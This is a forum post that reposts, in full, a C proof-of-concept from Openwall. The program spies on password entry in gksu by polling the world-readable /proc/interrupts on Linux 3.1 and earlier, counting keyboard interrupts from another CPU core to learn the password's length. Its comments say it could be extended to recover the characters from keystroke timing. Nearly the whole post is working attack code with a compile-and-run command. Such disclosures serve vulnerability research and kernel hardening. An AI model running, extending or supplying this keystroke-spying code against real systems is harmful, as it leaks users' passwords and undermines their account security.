Jump to content
Nytro

A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1

Recommended Posts

Posted

A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1

/*
* A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
*
* The file /proc/interrupts is world readable. It contains information
* about how many interrupts were emitted since the system boot. We may loop
* on one CPU core while the victim is executed on another, and learn the length
* of victim's passord via monitoring emitted interrupts' counters of the keyboard
* interrupt. The PoC counts only keystrokes number, but it can be easily extended
* to note the delays between the keystrokes and do the statistical analysis to
* learn the precise input characters.
*
* The limitations:
* - it works on 2-core CPUs only.
* - it works on 1-keyboard systems only.
* - it doesn't carefully count the first and last keystrokes (e.g. ENTER after
* the password input).
* - it doesn't carefully filter keystrokes after ENTER.
*
* by segoon from Openwall
*
* run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
*
* P.S. The harm of 0444 /proc/interrupts is known for a long time, but I
* was told about this specific attack vector by Tavis Ormandy just after similar
* PoC spy-sched was published.
*/

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <string.h>

int i8042_number;
int ints[1024], ints_prev[1024], ints_delta[1024];

char buffer[1024];

int reread_ints(int *interrupts, int int_count, char **names)
{
int i;
int n, c1, c2;
char s1[1024], s2[1024];

int interrupts_fd;
FILE *interrupts_file;

interrupts_fd = open("/proc/interrupts", O_RDONLY);
if (interrupts_fd == -1)
err(1, "open(\"/proc/interrupts\")");

interrupts_file = fdopen(interrupts_fd, "r");
if (interrupts_file == NULL)
err(1, "fdopen");

if (fseek(interrupts_file, 0, SEEK_SET) < 0)
err(1, "lseek");

fgets(buffer, sizeof(buffer), interrupts_file);

for (i = 0; i < int_count; i++) {
if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
fclose(interrupts_file);
return i;
}

if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
fclose(interrupts_file);
return i;
}

if (names != NULL && names[i] == NULL)
names[i] = strdup(s2);

interrupts[i] = c1 + c2;
}

fclose(interrupts_file);
return int_count;
}

void init_i8042_number(void)
{
int i;
int can_be_keyboard[1024];
char *names[1024];
int number_of_interrups, can_be_keyboard_numbers;

number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);

/*
* Identify the i8042 interrupt associated with the keyboard by:
* 1) name should be i8042
* 2) interrupts count emitted in one second shouldn't be more than 100
*/
for (i = 0; i < number_of_interrups; i++)
can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;

while (1) {
sleep(1);
reread_ints(ints, sizeof(ints), NULL);

can_be_keyboard_numbers = 0;
for (i = 0; i < number_of_interrups; i++) {
can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
if (can_be_keyboard[i])
can_be_keyboard_numbers++;

ints_prev[i] = ints[i];
}

if (can_be_keyboard_numbers == 1) {
for (i = 0; i < number_of_interrups; i++)
if (can_be_keyboard[i]) {
i8042_number = i;
printf("i8042 keyboard is #%d\n", i);
return;
}
}
}
}

int i8042_read(void)
{
reread_ints(ints, sizeof(ints), NULL);
ints_prev[i8042_number] = ints[i8042_number];

return ints[i8042_number];
}

int wait_for_program(char *pname)
{
FILE *f;
int pid;
char s[1024];

snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
" sleep 0.1; done", pname);
system(s);
snprintf(s, sizeof(s), "pgrep %s", pname);
f = popen(s, "r");
if (f == NULL)
err(1, "popen");

if (fgets(buffer, sizeof(buffer), f) == NULL)
err(1, "fgets");

if (sscanf(buffer, "%d", &pid) < 1)
err(1, "sscanf");

pclose(f);

return pid;
}

int main(int argc, char *argv[])
{
int n, old, sum, i;
int pid;
char *pname = argv[1];

if (argc < 2)
errx(1, "usage: spy-interrupts gksu");

puts("Waiting for mouse activity...");
init_i8042_number();

pid = wait_for_program(pname);
printf("%s is %d\n", pname, pid);

old = i8042_read();

sum = 0;

while (1) {
n = i8042_read();
if (old == n)
usleep(10000);
else {
for (i = 0; i < n-old; i++)
putchar('.');
fflush(stdout);
}

sum += n - old;
old = n;

if (kill(pid, 0) < 0 && errno == ESRCH)
break;
}

/*
* #interrupts == 2 * #keystrokes.
* #keystrokes = len(password) - 1 because of ENTER after the password.
*/
printf("\n%d keystrokes\n", (sum-2)/2);

return 0;
}

Sursa: /proc/interrupts PoC: spy-interrupts

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...